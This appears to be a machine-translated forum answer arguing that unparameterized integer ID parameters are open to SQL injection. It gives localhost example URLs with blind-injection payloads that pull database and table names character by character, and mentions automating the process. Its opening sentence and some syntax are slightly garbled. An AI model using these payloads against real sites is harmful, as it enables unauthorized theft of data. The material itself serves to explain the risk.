그런 식으로 SQL 주입 공격을받을 수 없습니다. 나는 여기에 방법을 보여주는 터키어로 오래된 기사를 썼다 . PHP 및 MySQL의 기사 예제이지만 개념은 C # 및 SQL Server에서 동일하게 작동합니다.
기본적으로 다음과 같은 방식으로 공격합니다. 정수 ID 값에 따라 정보를 표시하는 페이지가 있다고 가정 해 보겠습니다. 아래와 같이 값을 매개 변수화하지 않습니다.
http://localhost/sqlEnjeksiyon//instructors.aspx?id=24
좋아, 나는 당신이 MySQL을 사용하고 있다고 가정하고 다음과 같은 방식으로 공격합니다.
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII((SELECT%20DATABASE()))
여기에 삽입 된 값은 문자열이 아닙니다. ASCII 함수를 사용하여 char 값을 int로 변경합니다. SQL Server에서 "CAST (YourVarcharCol AS INT)"를 사용하여 동일한 작업을 수행 할 수 있습니다.
그 후 길이 및 하위 문자열 함수를 사용하여 데이터베이스 이름을 찾습니다.
http://localhost/sqlEnjeksiyon//instructors.aspx?id=LEN((SELECT%20DATABASE()))
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR(SELECT%20DATABASE(),1,1))
그런 다음 데이터베이스 이름을 사용하여 데이터베이스에서 테이블 이름을 가져 오기 시작합니다.
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR((SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1),1,1))
물론이 과정을 자동화해야합니다. 쿼리 당 하나의 문자 만 얻을 수 있기 때문입니다. 하지만 쉽게 자동화 할 수 있습니다. 내 기사는 watir의 한 예를 보여줍니다 . 매개 변수화 된 ID 값이 아닌 한 페이지 만 사용합니다. 나는 당신의 데이터베이스에있는 모든 테이블 이름을 배울 수 있습니다. 그 후에 중요한 테이블을 찾을 수 있습니다. 시간이 걸리 겠지만 가능합니다.